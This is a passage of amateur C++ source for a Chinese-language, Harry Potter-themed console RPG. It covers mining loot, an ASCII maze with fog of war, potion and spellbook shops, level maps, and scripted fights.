cout << "经验药水 " << num9 << "个" << endl;
cout << "全幅药水 " << num10 << "个" << endl;
cout << "金币 " << num11 << "个" << endl;
}
else cout << "您的抽奖券不足" << endl;
}
else if (a == 2) return 0;
else {
cout << "请别乱输。";
system("cls");
LD();
}
_getch();
return 0;
}
int dig()
{
cout << "进入挖矿状态";
Sleep(1000);
system("cls");
int x = 0;
while (1) {
system("cls");
cout << "挖";Sleep(200);
cout << "矿";Sleep(200);
cout << "中";Sleep(200);
cout << ".";Sleep(100);
cout << ".";Sleep(100);
cout << "." << endl;
x++;Sleep(500);
int ad = rand() % 3;
if (ad == 2) {
ad = rand() % 100;
if (ad < 6) {
switch (rand() % 3)
{
case 0:
cout << "你挖到了技能书铁甲咒!!!" << endl;
bag[7]++;
break;
case 1:
cout << "你挖到了技能书咒立停!!!" << endl;
bag[10]++;
break;
case 2:
cout << "你挖到了技能书石化咒!!!" << endl;
bag[11]++;
break;
}
Sleep(500);
}
else if (ad >= 6 && ad < 20) {
switch (rand() % 20)
{
case 0:
cout << "你挖到了夜琪的尾羽!!!" << endl;
bag[32]++;
break;
case 1:
case 2:
cout << "你挖到了独角兽尾毛!" << endl;
bag[30]++;
break;
case 3:
case 4:
cout << "你挖到了龙神经!" << endl;
bag[31]++;
break;
case 5:
case 6:
cout << "你挖到了凤凰羽毛!" << endl;
bag[29]++;
break;
case 7:
case 8:
cout << "你挖到了龙心腱" << endl;
bag[27]++;
break;
case 9:
case 10:
cout << "你挖到了雷鸟尾羽" << endl;
bag[28]++;
break;
case 11:
case 12:
case 13:
cout << "你挖到了马形水怪的鬃毛" << endl;
bag[26]++;
break;
case 14:
case 15:
case 16:
cout << "你挖到了猫狸子胡须" << endl;
bag[24]++;
break;
case 17:
case 18:
case 19:
cout << "你挖到了媚娃头发" << endl;
bag[25]++;
break;
}
Sleep(500);
}
else if (ad >= 20 && ad < 50) {
switch (rand() % 10)
{
case 0:
cout << "你挖到了桦木" << endl;
bag[33]++;
break;
case 1:
cout << "你挖到了紫衫木" << endl;
bag[34]++;
break;
case 2:
cout << "你挖到了冬青木" << endl;
bag[35]++;
break;
case 3:
cout << "你挖到了山楂木柳条" << endl;
bag[36]++;
break;
case 4:
cout << "你挖到了橡木" << endl;
bag[37]++;
break;
case 5:
cout << "你挖到了械木" << endl;
bag[38]++;
break;
case 6:
cout << "你挖到了山毛榉木" << endl;
bag[39]++;
break;
case 7:
cout << "你挖到了栗木" << endl;
bag[40]++;
break;
case 8:
cout << "你挖到了樱桃木" << endl;
bag[41]++;
break;
case 9:
cout << "你挖到了桃花心木" << endl;
bag[42]++;
break;
}
Sleep(500);
}
else if (ad >= 50 && ad <= 100) {
int as = rand() % 20 + 30;
cout << "你挖到了" << as << "金币" << endl;
money += as;
Sleep(500);
}
}
else if (ad == 1) {
ad = rand() % 3;
if (ad == 0) {
cout << "你遇到了大老鼠" << endl;
fight("大老鼠", 5000, 500, 50, 20, 1000);
if (dead)
{
cout << "你**了" << endl;
return 0;
}
}
if (ad == 1) {
cout<<"你遇到了食**徒" << endl;
fight("食**徒", 10000, 1000, 100, 17, 1000);
if (dead)
{
cout << "你**了" << endl;
return 0;
}
}
if (ad == 2) {
cout << "你遇到了坏矿工" << endl;
fight("矿工", 5000, 2000, 200, 17, 1000);
if (dead)
{
cout << "你**了" << endl;
return 0;
}
}
cout << "是否继续挖矿?" << endl;
cout << "1,是 2,否" << endl;
int ans;
cin >> ans;
if (ans == 2) return 0;
}
}
return 0;
}
int clearance()
{
system("cls");
cout << "你在出口处发现了一张纸条,上面写着:";
if (camp) {
cout << "伏地魔,我知道你在找我...我就告诉你吧,我在霍格沃茨等你!" << endl;
cout << " ————哈利·波特" << endl;
}
else {
cout << "哈利·波特, 你看到这张纸条的时候, 你们的校已经掌握在我手中, 要么你前来送**,要么我就会把你的同们统统杀**!!!"<<endl;
cout << " ——伏地魔" << endl;
}
_getch();
f = 1;
return 0;
}
int maze()
{
bool is[101][101];
for (int i = 0; i < 100; i++)
for (int j = 0; j < 100; j++)
is[i][j] = false;
int x = 8, y = 1;
string a[100] = {
"##################################################",
"# 1 # 2 2 3# # 1 #89#1#1# 1 1 #12 #3 #1#",
"#2#1#5 # #1# # ## # ##91 6 #9#7#11## # # 11#",
"# ## ## # # # #### # ##### # ####5## # # #####",
"#2########### # 4 # ## #####4 5##1# #189o",
"# 1 1# #2# ## # ## 5# ######### # #7#8#",
"#1# #1 2# # # #9 # ### # ##2## # ## 5#167#",
"# 1## ## # # ### #4## ## 6 # 3 ### #####5##",
"I 2 #### #### # 1 6 #1# ## 5###6## # #11134##",
"I 1 # 7 # # # # 227# # # # #2 #2#21#5#",
"##1 #1 #1# ## 5 # # #3#### # 1#5# # 1 111#6 #",
"# 2##3##1# ### ## ### # ## #### # #1####### #",
"# ##3 ##1###7# ##### ## # ###3 4## 9 # #",
"#23 # 3 # ##9 ##6 6## ### 9## ##1 # #3 #",
"# # # # # ## # ## ##7 ## # 9 ###9#11##2## ##",
"### # ####### # 2 # #3 # # # 1## 1 1## ##1 #3 #",
"#5 #2 ## # #### # #5# # ### #8###1 #1# #1# #",
"# # # # # # 4 5 # # # 7 # # # #### 8 #9#",
"# 2 # #42 # ## # 11#2#3 9 # ##9 # #999#",
"##################################################",
};
while (1) {
is[x - 1][y - 1] = true;
is[x - 1][y] = true;
is[x - 1][y + 1] = true;
is[x][y - 1] = true;
is[x][y] = true;
is[x][y + 1] = true;
is[x + 1][y - 1] = true;
is[x + 1][y] = true;
is[x + 1][y + 1] = true;
system("cls");
cout << "生命:" << health << "/" << maxhealth << endl;
for (int i = 0; i < 20; i++) {
for (int j = 0; j < 50; j++) {
if (is[i][j]) cout << a[i][j];
else cout << "0";
}
cout << endl;
}
int ch;
ch = _getch();
if (ch == 'a') {
if (a[x][y - 1] == ' ')
{
a[x][y - 1] = '@';
a[x][y] = ' ';
y -= 1;
}
else if ('0' <= a[x][y - 1] && a[x][y - 1] <= '9')
{
cout << "你遇到了" << (int)(a[x][y - 1] - '0') << "级怪物,迎战吧!";
fight("怪物", 10000 * (a[x][y - 1] - '0'), 2500 * (a[x][y - 1] - '0'), 100 * (a[x][y - 1] - '0'), 20, 500 * (a[x][y - 1] - '0'));
if (dead)
{
Sleep(1000);
return 0;
}
a[x][y - 1] = '@';
a[x][y] = ' ';
y -= 1;
a[x][y] = ' ';
}
else if (a[x][y - 1] == 'I')
{
cout << "你是否要退出这个奇怪的世界,如果退出,你现在闯下的江湖都会重置" << endl;
cout << "1确定 2取消" << endl;
int num;
cin >> num;
if (num == 1)
{
break;
}
}
else if (a[x][y - 1] == 'o')
{
cout << "你通关了" << endl;
_getch();
clearance();
}
}
if (ch == 'd') {
if (a[x][y + 1] == ' ')
{
a[x][y + 1] = '@';
a[x][y] = ' ';
y += 1;
}
else if ('0' <= a[x][y + 1] && a[x][y + 1] <= '9')
{
cout << "你遇到了" << (int)(a[x][y + 1] - '0') << "级怪物,迎战吧!";
fight("怪物", 10000 * (a[x][y + 1] - '0'), 2500 * (a[x][y + 1] - '0'), 100 * (a[x][y + 1] - '0'), 20, 500 * (a[x][y + 1] - '0'));
if (dead)
{
Sleep(1000);
return 0;
}
a[x][y + 1] = '@';
a[x][y] = ' ';
y += 1;
a[x][y] = ' ';
}
else if (a[x][y + 1] == 'I')
{
cout << "你是否要退出这个奇怪的世界,如果退出,你现在闯下的江湖都会重置" << endl;
cout << "1确定 2取消" << endl;
int num;
cin >> num;
if (num == 1)
{
break;
}
}
else if (a[x][y + 1] == 'o')
{
cout << "你通关了" << endl;
_getch();
clearance();
}
}
if (ch == 'w') {
if (a[x - 1][y] == ' ')
{
a[x - 1][y] = '@';
a[x][y] = ' ';
x -= 1;
}
else if ('0' <= a[x - 1][y] && a[x - 1][y] <= '9')
{
cout << "你遇到了" << (int)(a[x - 1][y] - '0') << "级怪物,迎战吧!";
fight("怪物", 10000 * (a[x - 1][y] - '0'), 2500 * (a[x - 1][y] - '0'), 100 * (a[x - 1][y] - '0'), 20, 500 * (a[x - 1][y] - '0'));
if (dead)
{
Sleep(1000);
return 0;
}
a[x - 1][y] = '@';
a[x][y] = ' ';
x -= 1;
a[x][y] = ' ';
}
else if (a[x - 1][y] == 'I')
{
cout << "你是否要退出这个奇怪的世界,如果退出,你现在闯下的江湖都会重置" << endl;
cout << "1确定 2取消" << endl;
int num;
cin >> num;
if (num == 1)
{
break;
}
}
else if (a[x - 1][y] == 'o')
{
cout << "你通关了" << endl;
_getch();
clearance();
}
}
if (ch == 's') {
if (a[x + 1][y] == ' ')
{
a[x + 1][y] = '@';
a[x][y] = ' ';
x += 1;
}
else if ('0' <= a[x + 1][y] && a[x + 1][y] <= '9')
{
cout << "你遇到了" << (int)(a[x + 1][y] - '0') << "级怪物,迎战吧!";
fight("怪物", 10000 * (a[x + 1][y] - '0'), 2500 * (a[x + 1][y] - '0'), 100 * (a[x + 1][y] - '0'), 20, 500 * (a[x + 1][y] - '0'));
if (dead)
{
Sleep(1000);
return 0;
}
a[x + 1][y] = '@';
a[x][y] = ' ';
x += 1;
a[x][y] = ' ';
}
else if (a[x + 1][y] == 'I')
{
cout << "你是否要退出这个奇怪的世界,如果退出,你现在闯下的江湖都会重置" << endl;
cout << "1确定 2取消" << endl;
int num;
cin >> num;
if (num == 1)
{
break;
}
}
else if (a[x + 1][y] == 'o')
{
cout << "你通关了" << endl;
_getch();
clearance();
}
}
}
return 0;
}
int DriveOut()
{
switch (rand() % 3)
{
case 1:
cout << "店主:没钱还敢卖!!!打出去!!!" << endl;
break;
case 2:
cout << "店主:什么!没钱!!!" << endl;
break;
case 3:
cout << "你:可不可以降一降价?" << endl;
cout << "店主:不行!哪有那么简单!" << endl;
break;
}
Sleep(1000);
return 0;
}
int poisonshop()
{
system("cls");
cout << "店主:这位客人,您要卖什么?" << endl;
cout << "1,购买 |小生命药水+200| 100元" << endl;
cout << "2,购买 ||大生命药水+500|| 200元" << endl;
cout << "3,购买 |小防御药水 +20| 100元" << endl;
cout << "4,购买 ||大防御药水 +50|| 200元" << endl;
cout << "5,购买 |小攻击药水+100| 100元" << endl;
cout << "6,购买 ||大攻击药水+250|| 200元" << endl;
cout << "7,购买 |小全幅药水| 500元" << endl;
cout << "8,购买 ||中全幅药水|| 1000元" << endl;
cout << "9,购买 |||大全幅药水||| 2000元" << endl;
cout << "10,购买 *|||||极·全幅药水|||||* 10000元" << endl;
cout << "你掏了掏自己的钱包,发现有" << money << "元" << endl;
int which;
cin >> which;
switch (which)
{
case 1:
if (money < 100) DriveOut();
else {
money -= 100;
cout << "店主:一路走好!" << endl;
cout << "你拿起药水就喝了下去。" << endl;
health += 200;
maxhealth += 200;
}
break;
case 2:
if (money < 200) DriveOut();
else {
money -= 200;
cout << "店主:一路走好!" << endl;
cout << "你拿起药水就喝了下去。" << endl;
health += 500;
maxhealth += 500;
}
break;
case 3:
if (money < 100) DriveOut();
else {
money -= 100;
cout << "店主:一路走好!" << endl;
cout << "你拿起药水就喝了下去。" << endl;
defense += 20;
}
break;
case 4:
if (money < 200) DriveOut();
else {
money -= 200;
cout << "店主:一路走好!" << endl;
cout << "你拿起药水就喝了下去。" << endl;
defense += 50;
}
break;
case 5:
if (money < 100) DriveOut();
else {
money -= 100;
cout << "店主:一路走好!" << endl;
cout << "你拿起药水就喝了下去。" << endl;
attack += 100;
}
break;
case 6:
if (money < 200) DriveOut();
else {
money -= 200;
cout << "店主:一路走好!" << endl;
cout << "你拿起药水就喝了下去。" << endl;
attack += 250;
}
break;
case 7:
if (money < 500) DriveOut();
else {
money -= 500;
cout << "店主:一路走好!" << endl;
cout << "你拿起药水就喝了下去。" << endl;
health += 50;
defense += 5;
attack += 25;
experience += 1000;
}
break;
case 8:
if (money < 1000) DriveOut();
else {
money -= 1000;
cout << "店主:一路走好!" << endl;
cout << "你拿起药水就喝了下去。" << endl;
health += 150;
defense += 15;
attack += 75;
experience += 3000;
}
break;
case 9:
if (money < 2000) DriveOut();
else {
money -= 2000;
cout << "店主:一路走好!" << endl;
cout << "你拿起药水就喝了下去。" << endl;
health += 450;
defense += 45;
attack += 225;
experience += 9000;
}
break;
case 10:
if (money < 10000) DriveOut();
else {
money -= 10000;
cout << "店主:一路走好!" << endl;
cout << "你拿起药水就喝了下去。" << endl;
health += 2500;
defense += 250;
attack += 1250;
experience += 50000;
}
break;
default:
break;
}
Sleep(1000);
return 0;
}
int bookshop()
{
system("cls");
cout << "店主:这里是巫师们卖书的地方,您要卖什么?" << endl;
cout << "1,购买 ||||恢复如初技能书|||| 40000元 现货大量供应" << endl;
cout << "2,购买 ||遗忘咒技能书|| 10000元 已经售完" << endl;
cout << "3,购买 |||钻心咒技能书||| 15000元 现货大量供应" << endl;
cout << "4,购买 |||召唤咒技能书||| 20000元 现货大量供应" << endl;
cout << "5,购买 *|||||咒立停技能书|||||* 25000元 现货大量供应" << endl;
cout << "6,购买 ||||夺魂咒技能书|||| 20000元 现货大量供应" << endl;
cout << "7,购买 ||万弹齐发技能书|| 15000元 现货大量供应" << endl;
cout << "你掏了掏自己的钱包,发现有" << money << "元" << endl;
int which;
cin >> which;
switch (which)
{
case 1:
if (money < 40000) DriveOut();
else {
money -= 40000;
cout << "店主:一路走好!" << endl;
bag[12]++;
}
break;
case 2:
cout << "店主:对不起,本书已经售完" << endl;
break;
case 3:
if (money < 20000) DriveOut();
else {
money -= 20000;
cout << "店主:一路走好!" << endl;
bag[16]++;
}
break;
case 4:
if (money < 20000) DriveOut();
else {
money -= 20000;
cout << "店主:一路走好!" << endl;
bag[13]++;
}
break;
case 5:
if (money < 25000) DriveOut();
else {
money -= 25000;
cout << "店主:一路走好!" << endl;
bag[10]++;
}
break;
case 6:
if (money < 20000) DriveOut();
else {
money -= 20000;
cout << "店主:一路走好!" << endl;
bag[17]++;
}
break;
case 7:
if (money < 15000) DriveOut();
else {
money -= 15000;
cout << "店主:一路走好!" << endl;
bag[15]++;
}
break;
default:
break;
}
return 0;
}
int NoticeBoard(int l, int x, int y)
{
if (l == 10 && x == 6 && y == 1) {
system("cls");
cout << "跟着'*'走" << endl;
cout << " ——作者" << endl;
_getch();
}
if (l == 10 && x == 8 && y == 12) {
system("cls");
cout << "走吧,谁叫你不听命令呢..." << endl;
cout << " ——作者" << endl;
_getch();
}
if (l == 12 && x == 3 && y == 1) {
system("cls");
cout << "杀出重围!" << endl;
cout << " ——作者" << endl;
_getch();
}
if (l == 12 && x < 4 && y == 20) {
system("cls");
cout << "恭喜通过一半!往下走继续..." << endl;
cout << " ——作者" << endl;
_getch();
}
if (l == 12 && x > 4 && y == 20) {
system("cls");
cout << "恭喜通过一半!往上走继续..." << endl;
cout << " ——作者" << endl;
_getch();
}
if (l == 12 && x == 10) {
system("cls");
cout << "拿走全部奖励吧!" << endl;
cout << " ——作者" << endl;
_getch();
}
else {
system("cls");
cout << "回去吧,你来错地方了..." << endl;
_getch();
}
return 0;
}
int checkpoint(int l)
{
bool is[101][101];
for (int i = 0; i < 100; i++)
for (int j = 0; j < 100; j++)
is[i][j] = false;
int x = 1, y = 1;
string a[100];
if (l == 1) {
a[0] = "######";
a[1] = "I o";
a[2] = "######";
}
else if (l == 2) {
a[0] = "#######";
a[1] = "I 1#";
a[2] = "#### ##";
a[3] = "##1 ##";
a[4] = "#### ##";
a[5] = "#P o";
a[6] = "#######";
}
else if (l == 3) {
a[0] = "#########";
a[1] = "I # 1#S#";
a[2] = "# ## ##1#";
a[3] = "# 2 #";
a[4] = "#### ## #";
a[5] = "#P1 #o #";
a[6] = "#########";
}
else if (l == 4) {
a[0] = "#######o#######";
a[1] = "I #P3 #";
a[2] = "# ##### #";
a[3] = "# 1P #";
a[4] = "# ##### #";
a[5] = "#S # 2#";
a[6] = "######### #####";
a[7] = "#P121 2 1 11P#";
a[8] = "###############";
}
else if (l == 5) {
a[0] = "###############";
a[1] = "I 3 #P3 #";
a[2] = "# 3 # ##### #";
a[3] = "# 2 # 1 #";
a[4] = "# 2 # # ##### #";
a[5] = "# 1 # #P# 2#";
a[6] = "#####2S## ###o#";
a[7] = "#P1 1 # 1 1P#";
a[8] = "###############";
}
else if (l == 6) {
a[0] = "###############";
a[1] = "# 11 2 6PP#";
a[2] = "#2# #P#########";
a[3] = "#2##### #S# o";
a[4] = "I #2# ###";
a[5] = "# ##### 11 ###";
a[6] = "# #P##### #####";
a[7] = "#1112 4P#";
a[8] = "###############";
x = 4;
}
else if (l == 7) {
a[0] = "###############";
a[1] = "#3 4# P# # B#";
a[2] = "#1# #9## 1# 3#";
a[3] = "#1#6# 9# # ###";
a[4] = "I #7 94 # # o";
a[5] = "# #1 3 ## P# #";
a[6] = "# ########### #";
a[7] = "# 1 P #";
a[8] = "###############";
x = 4;
}
else if (l == 8) {
a[0] = "#################";
a[1] = "#PPPPPPPPPPPPPPP#";
a[2] = "#P#############P#";
a[3] = "#PPPP 9999999 PP#";
if (rand() % 100 < 7) a[4] = "#################";
else a[4] = "######### #######";
a[5] = "#2 2#2 2#9##2 P#";
a[6] = "# # # # # #22# #";
a[7] = "# # # # # # #22##";
a[8] = "I # # # # # # # o";
a[9] = "##22# # # # # # #";
a[10] = "# #22# #3# # # #";
a[11] = "#P 2##2 5 2#2 2#";
a[12] = "#################";
x = 8;
}
else if (l == 9) {
a[0] = "#################";
a[1] = "I 9###9 I";
a[2] = "# # # #";
a[3] = "# ##P9P## #";
a[4] = "# 9# 9o9 #9 #";
a[5] = "# ##P9P## #";
a[6] = "# # # #";
a[7] = "I 9###9 I";
a[8] = "#################";
if (rand() % 2) x = 7;
if (rand() % 2) y = 15;
}
else if (l == 10) {
a[0] = "#############################";
a[1] = "#00*****009***P0000000000000#";
a[2] = "#0*9000*00*000*0**P000000000#";
a[3] = "#0*000**00*0#0*0900*****00**o";
a[4] = "#0*00**00*90#0******000****0#";
a[5] = "#0*00*00**00#0000000***00000#";
a[6] = "#T*00*90*00##################";
a[7] = "I**000***00#================I";
a[8] = "############T################";
x = 7;
y = 1;
}
else if (l == 11) {
a[0] = "#############################";
a[1] = "# 33344555#P #";
a[2] = "#22222P 33344566#P ##";
a[3] = "#11 2 33344567#7 8 8 8 8 9######################";
a[4] = "I 1 2 33344567 999999999999999 PPPPo#";
a[5] = "#11 2 33344567#7 8 8 8 8 9######################";
a[6] = "#22222P 33344566#P ##";
a[7] = "# 33344555#P #";
a[8] = "#############################";
x = 4;
y = 1;
}
else if (l == 12) {
a[0] = "###################################################";
a[1] = "#999999999999999999.T.999999999P999999999999999999#";
a[2] = "#9999999999.99.99.99T.999999999P999999999999999999#";
a[3] = "#T9...99.99999999999T.999999999P9999999999999999..#";
a[4] = "I...9.9.9999.999.99...999999999P9999999999999999.X#";
a[5] = "#T9...99999999.99999T.999999999P9999999999999999..#";
a[6] = "#9999999.99.999.99.9T.999999999P999999999999999999#";
a[7] = "#99999.9999999999999T.999999999P999999999999999999#";
a[8] = "###################################################";
a[9] = "#oPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP #";
a[10] = "#################################################T#";
x = 4;
y = 1;
}
else {
a[0] = "#############################";
a[1] = "#T T#";
a[2] = "# #";
a[3] = "# #";
a[4] = "# #";
a[5] = "# #";
a[6] = "# #";
a[7] = "I T#";
a[8] = "#############################";
x = 7;
y = 1;
for (int i = 0; i < 100; i++)
for (int j = 0; j < 100; j++) is[i][j] = true;
}
a[x][y] = '@';
while (1) {
is[x - 1][y - 1] = true;
is[x - 1][y] = true;
is[x - 1][y + 1] = true;
is[x][y - 1] = true;
is[x][y] = true;
is[x][y + 1] = true;
is[x + 1][y - 1] = true;
is[x + 1][y] = true;
is[x + 1][y + 1] = true;
system("cls");
cout << "生命:" << health << "/" << maxhealth << endl;
cout << "攻击:" << attack << endl;
cout << "防御:" << defense << endl;
for (int i = 0; i < 25; i++) {
for (int j = 0; j < 50; j++) {
if (is[i][j]) cout << a[i][j];
else cout << "0";
}
cout << endl;
}
int ch;
ch = _getch();
if (ch == 'a') {
if ('0' < a[x][y - 1] && a[x][y - 1] <= '9')
{
cout << "你遇到了" << (int)(a[x][y - 1] - '0') << "级怪物,迎战吧!";
fight("怪物", 1000 * (a[x][y - 1] - '0'), 250 * (a[x][y - 1] - '0'), 10 * (a[x][y - 1] - '0'), 12, 50 * (a[x][y - 1] - '0'));
if (dead)
{
Sleep(1000);
return 0;
}
a[x][y - 1] = '@';
a[x][y] = ' ';
y--;
a[x][y] = ' ';
}
else if (a[x][y - 1] == 'I')
{
cout << "你是否要退出?" << endl;
cout << "1确定 2取消" << endl;
int num;
cin >> num;
if (num == 1)
{
break;
}
}
else if (a[x][y - 1] == 'o')
{
cout << "你通关了" << endl;
if (nowlevel + 1 == l)
{
nowlevel++;
}
_getch();
return 0;
}
else if (a[x][y - 1] == 'P')
{
int m1 = rand() % 50;
int m2 = rand() % 2;
int m3 = rand() % 2;
int m4 = rand() % 2;
int m5 = rand() % 2;
int m6 = rand() % 2;
cout << "你获得了:" << endl;
cout << m1 << "元" << endl;
cout << m2 << "瓶生命药水" << endl;
cout << m3 << "瓶防御药水" << endl;
cout << m4 << "瓶攻击药水" << endl;
cout << m5 << "瓶经验药水" << endl;
cout << m6 << "瓶全幅药水" << endl;
money += m1;
bag[19] += m2;
bag[20] += m3;
bag[21] += m4;
bag[22] += m5;
bag[23] += m6;
_getch();
a[x][y - 1] = '@';
a[x][y] = ' ';
y--;
}
else if (a[x][y - 1] == 'S')
{
poisonshop();
}
else if (a[x][y - 1] == 'B')
{
bookshop();
}
else if (a[x][y - 1] == 'T')
{
NoticeBoard(l, x, y - 1);
}
else if (a[x][y - 1] == '0' && l == 10)
{
a[x][y] = '0';
x = 7;
y = 12;
a[x][y] = '@';
}
else if (a[x][y - 1] == 'X' && l == 12)
{
a[x][y] = ' ';
x = 9;
y = 49;
a[x][y] = '@';
}
else if (a[x][y - 1] != '#')
{
a[x][y - 1] = '@';
a[x][y] = ' ';
y -= 1;
}
if (l == 9 && x == 4 && y == 12)
{
a[x][y - 2] = '@';
a[x][y] = ' ';
y -= 2;
}
}
if (ch == 'd') {
if ('0' < a[x][y + 1] && a[x][y + 1] <= '9')
{
cout << "你遇到了" << (int)(a[x][y + 1] - '0') << "级怪物,迎战吧!";
fight("怪物", 1000 * (a[x][y + 1] - '0'), 250 * (a[x][y + 1] - '0'), 10 * (a[x][y + 1] - '0'), 12, 50 * (a[x][y + 1] - '0'));
if (dead)
{
Sleep(1000);
return 0;
}
a[x][y + 1] = '@';
a[x][y] = ' ';
y++;
a[x][y] = ' ';
}
else if (a[x][y + 1] == 'I')
{
cout << "你是否要退出?" << endl;
cout << "1确定 2取消" << endl;
int num;
cin >> num;
if (num == 1)
{
break;
}
}
else if (a[x][y + 1] == 'o')
{
cout << "你通关了" << endl;
if (nowlevel + 1 == l)
{
nowlevel++;
}
_getch();
return 0;
}
else if (a[x][y + 1] == 'P')
{
int m1 = rand() % 50;
int m2 = rand() % 2;
int m3 = rand() % 2;
int m4 = rand() % 2;
int m5 = rand() % 2;
int m6 = rand() % 2;
cout << "你获得了:" << endl;
cout << m1 << "元" << endl;
cout << m2 << "瓶生命药水" << endl;
cout << m3 << "瓶防御药水" << endl;
cout << m4 << "瓶攻击药水" << endl;
cout << m5 << "瓶经验药水" << endl;
cout << m6 << "瓶全幅药水" << endl;
money += m1;
bag[19] += m2;
bag[20] += m3;
bag[21] += m4;
bag[22] += m5;
bag[23] += m6;
_getch();
a[x][y + 1] = '@';
a[x][y] = ' ';
y++;
}
else if (a[x][y + 1] == 'S')
{
poisonshop();
}
else if (a[x][y + 1] == 'B')
{
bookshop();
}
else if (a[x][y + 1] == 'T')
{
NoticeBoard(l, x, y + 1);
}
else if (a[x][y + 1] == '0' && l == 10)
{
a[x][y] = '0';
x = 7;
y = 12;
a[x][y] = '@';
}
else if (a[x][y + 1] == 'X' && l == 12)
{
a[x][y] = ' ';
x = 9;
y = 49;
a[x][y] = '@';
}
else if (a[x][y + 1] != '#')
{
a[x][y + 1] = '@';
a[x][y] = ' ';
y++;
}
if (l == 9 && x == 4 && y == 4)
{
a[x][y + 2] = '@';
a[x][y] = ' ';
y += 2;
}
}
if (ch == 'w') {
if ('0' < a[x - 1][y] && a[x - 1][y] <= '9')
{
cout << "你遇到了" << (int)(a[x - 1][y] - '0') << "级怪物,迎战吧!";
fight("怪物", 1000 * (a[x - 1][y] - '0'), 250 * (a[x - 1][y] - '0'), 10 * (a[x - 1][y] - '0'), 12, 50 * (a[x - 1][y] - '0'));
if (dead)
{
Sleep(1000);
return 0;
}
a[x - 1][y] = '@';
a[x][y] = ' ';
x--;
a[x][y] = ' ';
}
else if (a[x - 1][y] == 'I')
{
cout << "你是否要退出?" << endl;
cout << "1确定 2取消" << endl;
int num;
cin >> num;
if (num == 1)
{
break;
}
}
else if (a[x - 1][y] == 'o')
{
cout << "你通关了" << endl;
if (nowlevel + 1 == l)
{
nowlevel++;
}
_getch();
return 0;
}
else if (a[x - 1][y] == 'P')
{
int m1 = rand() % 50;
int m2 = rand() % 2;
int m3 = rand() % 2;
int m4 = rand() % 2;
int m5 = rand() % 2;
int m6 = rand() % 2;
cout << "你获得了:" << endl;
cout << m1 << "元" << endl;
cout << m2 << "瓶生命药水" << endl;
cout << m3 << "瓶防御药水" << endl;
cout << m4 << "瓶攻击药水" << endl;
cout << m5 << "瓶经验药水" << endl;
cout << m6 << "瓶全幅药水" << endl;
money += m1;
bag[19] += m2;
bag[20] += m3;
bag[21] += m4;
bag[22] += m5;
bag[23] += m6;
_getch();
a[x - 1][y] = '@';
a[x][y] = ' ';
x--;
}
else if (a[x - 1][y] == 'S')
{
poisonshop();
}
else if (a[x - 1][y] == 'B')
{
bookshop();
}
else if (a[x - 1][y] == 'T')
{
NoticeBoard(l, x - 1, y);
}
else if (a[x - 1][y] == '0' && l == 10)
{
a[x][y] = '0';
x = 7;
y = 12;
a[x][y] = '@';
}
else if (a[x - 1][y] == 'X' && l == 12)
{
a[x][y] = ' ';
x = 9;
y = 49;
a[x][y] = '@';
}
else if (a[x - 1][y] != '#')
{
a[x - 1][y] = '@';
a[x][y] = ' ';
x -= 1;
}
}
if (ch == 's') {
if (a[x + 1][y] == ' ')
{
a[x + 1][y] = '@';
a[x][y] = ' ';
x += 1;
}
else if ('0' < a[x + 1][y] && a[x + 1][y] <= '9')
{
cout << "你遇到了" << (int)(a[x + 1][y] - '0') << "级怪物,迎战吧!";
fight("怪物", 1000 * (a[x + 1][y] - '0'), 250 * (a[x + 1][y] - '0'), 10 * (a[x + 1][y] - '0'), 12, 50 * (a[x + 1][y] - '0'));
if (dead)
{
Sleep(1000);
return 0;
}
a[x + 1][y] = '@';
a[x][y] = ' ';
x++;
a[x][y] = ' ';
}
else if (a[x + 1][y] == 'I')
{
cout << "你是否要退出?" << endl;
cout << "1确定 2取消" << endl;
int num;
cin >> num;
if (num == 1)
{
break;
}
}
else if (a[x + 1][y] == 'o')
{
cout << "你通关了" << endl;
if (nowlevel + 1 == l)
{
nowlevel++;
}
_getch();
return 0;
}
else if (a[x + 1][y] == 'P')
{
int m1 = rand() % 50;
int m2 = rand() % 2;
int m3 = rand() % 2;
int m4 = rand() % 2;
int m5 = rand() % 2;
int m6 = rand() % 2;
cout << "你获得了:" << endl;
cout << m1 << "元" << endl;
cout << m2 << "瓶生命药水" << endl;
cout << m3 << "瓶防御药水" << endl;
cout << m4 << "瓶攻击药水" << endl;
cout << m5 << "瓶经验药水" << endl;
cout << m6 << "瓶全幅药水" << endl;
money += m1;
bag[19] += m2;
bag[20] += m3;
bag[21] += m4;
bag[22] += m5;
bag[23] += m6;
_getch();
a[x + 1][y] = '@';
a[x][y] = ' ';
x++;
}
else if (a[x + 1][y] == 'S')
{
poisonshop();
}
else if (a[x + 1][y] == 'B')
{
bookshop();
}
else if (a[x + 1][y] == 'T')
{
NoticeBoard(l, x + 1, y);
}
else if (a[x + 1][y] == '0' && l == 10)
{
a[x][y] = '0';
x = 7;
y = 12;
a[x][y] = '@';
}
else if (a[x + 1][y] == 'X' && l == 12)
{
a[x][y] = ' ';
x = 9;
y = 49;
a[x][y] = '@';
}
else if (a[x + 1][y] != '#')
{
a[x + 1][y] = '@';
a[x][y] = ' ';
x++;
}
}
}
return 0;
}
int MM()
{
if (amm == 0) {
int lie = 0;
cout << "....建议45级打,飘升80级...." << endl;
cout << "攻击即可获得:" << endl;
cout << "抽奖券*100 技能书昏昏倒地或技能书铁甲咒 全幅药水*50";
cout << " 金币*2000 经验石X*50" << endl;
cout << " 1攻击 2变强后再来" << endl;
int a;
cin >> a;
if (a == 1) {
cout << "你来到了魔法部大门" << endl;
Sleep(1000);
cout << "魔法部大门看守:你来这干嘛!" << endl;
Sleep(1000);
cout << "1**! 2办事的。" << endl;
cin >> a;
if (a == 1) cout << "魔法部大门看守:拦下他!" << endl;
else {
if (camp) cout << "魔法部大门看守:不可能,你是伏地魔的人!" << endl;
else {
cout << "魔法部大门看守仔细一看。" << endl;
Sleep(1000);
cout << "魔法部大门看守:他是哈利波特的人,抓了他问哈利波特下落!" << endl;
}
}
Sleep(1000);
fight("大门看守", 2000, 200, 20, 0, 1000);
if (dead) return 0;
fight("大门看守", 2000, 200, 20, 0, 1000);
if (dead) return 0;
cout << "增加100滴血" << endl;
health += 100;
Sleep(1000);
cout << "你踢开了大门" << endl;
Sleep(1000);
cout << "里面的几个雕像活了" << endl;
Sleep(1000);
fight("雕像", 10000, 200, 20, 0, 500);
if (dead) return 0;
fight("雕像", 10000, 200, 20, 0, 500);
if (dead) return 0;
fight("雕像", 10000, 200, 20, 0, 500);
if (dead) return 0;
cout << "增加500滴血" << endl;
health += 500;
cout << "你杀**了雕像后, 正准备往楼上走" << endl;
